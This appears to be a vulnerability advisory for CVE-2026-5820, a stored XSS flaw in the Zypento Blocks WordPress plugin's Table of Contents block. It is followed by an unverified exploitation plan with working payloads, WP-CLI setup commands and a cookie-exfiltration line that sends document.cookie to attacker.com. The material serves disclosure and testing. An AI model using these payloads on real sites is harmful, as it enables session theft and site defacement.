CVE-2026-5820

Zypento Blocks <= 1.0.6 - Authenticated (Author+) Stored Cross-Site Scripting via Table of Contents Block

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Zypento Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Table of Contents block in all versions up to, and including, 1.0.6. This is due to the front-end TOC rendering script reading heading text via `innerText` and inserting it into the page using `innerHTML` without proper sanitization. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.06
PublishedApril 21, 2026
Last updatedMay 11, 2026
Affected pluginzypento-blocks
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5820 (Zypento Blocks Stored XSS) ## 1. Vulnerability Summary The Zypento Blocks plugin (<= 1.0.6) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the frontend rendering logic of the "Table of Contents" (TOC) block. Specifica…

Show full research plan

Exploitation Research Plan: CVE-2026-5820 (Zypento Blocks Stored XSS)

1. Vulnerability Summary

The Zypento Blocks plugin (<= 1.0.6) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the frontend rendering logic of the "Table of Contents" (TOC) block. Specifically, the plugin's JavaScript script responsible for generating the TOC list on the client side extracts heading text from the page using the .innerText property but subsequently inserts this text into the TOC container using the .innerHTML property without sanitization. This allows an attacker with Author-level privileges or higher to inject malicious HTML/JavaScript into a heading, which is then executed in the context of any user viewing the page when the TOC script processes it.

2. Attack Vector Analysis

  • Vulnerable Component: Table of Contents Block (frontend rendering script).
  • Endpoint: WordPress Post Editor (/wp-admin/post-new.php or REST API /wp/v2/posts).
  • Required Role: Author, Editor, or Administrator.
  • Payload Location: Inside a Heading block (h1, h2, h3, etc.) on a post that also contains the Zypento Table of Contents block.
  • Preconditions: The Zypento Blocks plugin must be active, and a post must be published containing both a TOC block and a malicious heading.

3. Code Flow (Inferred)

  1. Post Creation: An Author creates a post containing the block <!-- wp:zypento/table-of-contents /--> and a heading like <h2>&lt;img src=x onerror=alert(1)&gt;</h2>.
  2. Frontend Loading: A user views the post. WordPress enqueues the TOC frontend script (likely named view.js or toc.js located in the plugin's block assets).
  3. Heading Extraction: The script queries the DOM for heading elements within the post content (e.g., document.querySelectorAll('h1, h2, h3')).
  4. Vulnerable Sink:
    • The script iterates through the headings.
    • It retrieves the "text" using const title = heading.innerText;. If the heading HTML was &lt;img src=x onerror=alert(1)&gt;, innerText returns the literal string <img src=x onerror=alert(1)>.
    • The script creates a list item for the TOC and sets its content: tocItem.innerHTML = ${title};.
  5. Execution: The browser parses the innerHTML assignment, creates the <img> element, and executes the onerror handler.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post with specific content.

  • Post Creation via WP-CLI: The easiest way to set up the exploit without worrying about REST API nonces or CSRF is to use wp post create.
  • Manual Exploitation via UI: If performing the exploit via the browser, the standard WordPress _wpnonce for the post editor is required. This is found in the wp-admin/post.php or post-new.php source code.
  • Frontend Script: No nonce is required for the execution phase, as it occurs automatically when any user (including an Administrator) views the published post.

5. Exploitation Strategy

  1. Authentication: Authenticate as an Author user.
  2. Payload Preparation: The payload must be HTML-encoded within the heading so that innerText returns the raw HTML tags to be later interpreted by innerHTML.
    • Payload: &lt;img src=x onerror="alert('XSS_SUCCESS_VULN_ID_5820')"&gt;
  3. Post Injection: Create a post containing the TOC block and the malicious heading.
    • Block Content:
      <!-- wp:zypento/table-of-contents {"title":"TOC"} /-->
      <h2>&lt;img src=x onerror="alert(window.origin)"&gt;</h2>
      
  4. Verification of Trigger: Navigate to the published post's URL and observe the JavaScript execution.

6. Test Data Setup

  1. Install Plugin: Ensure zypento-blocks version 1.0.6 is installed and active.
  2. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  3. Create Malicious Post:
    wp post create --post_type=post \
                   --post_status=publish \
                   --post_title="Vulnerable TOC Page" \
                   --post_author=$(wp user get attacker --field=ID) \
                   --post_content='<!-- wp:zypento/table-of-contents /--><h2>&lt;img src=x onerror="console.log(\"XSS_TRIGGERED\")"&gt;</h2>'
    

7. Expected Results

  • When the post is rendered, the TOC block will be generated by JavaScript.
  • A link will appear in the TOC.
  • Because the TOC script uses innerHTML to insert the heading's innerText, the browser will execute the onerror event of the injected image tag.
  • The browser console will show "XSS_TRIGGERED" or an alert box will appear.

8. Verification Steps

  1. Check Post Content: Verify the post content was saved correctly.
    wp post get <POST_ID> --field=post_content
    
  2. Inspect Frontend HTML: Use http_request to fetch the post and check if the TOC script is enqueued.
    # Look for the plugin's JS file
    curl -s http://localhost:8080/vulnerable-toc-page/ | grep "zypento"
    
  3. Simulate Execution: Use browser_navigate to the post URL and check for the console log.

9. Alternative Approaches

  • Style Injection: If alert() is blocked, try injecting a style tag to deface the page:
    • <h2>&lt;style&gt;body{background:red !important;}&lt;/style&gt;</h2>
  • Data Exfiltration: Attempt to exfiltrate the administrator's cookie if they view the page:
    • <h2>&lt;img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)"&gt;</h2>
  • Block Name Variation: If zypento/table-of-contents is not the exact slug, use wp-cli to list registered blocks or check the plugin's src/index.js. (Inferred slug: zypento/table-of-contents).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.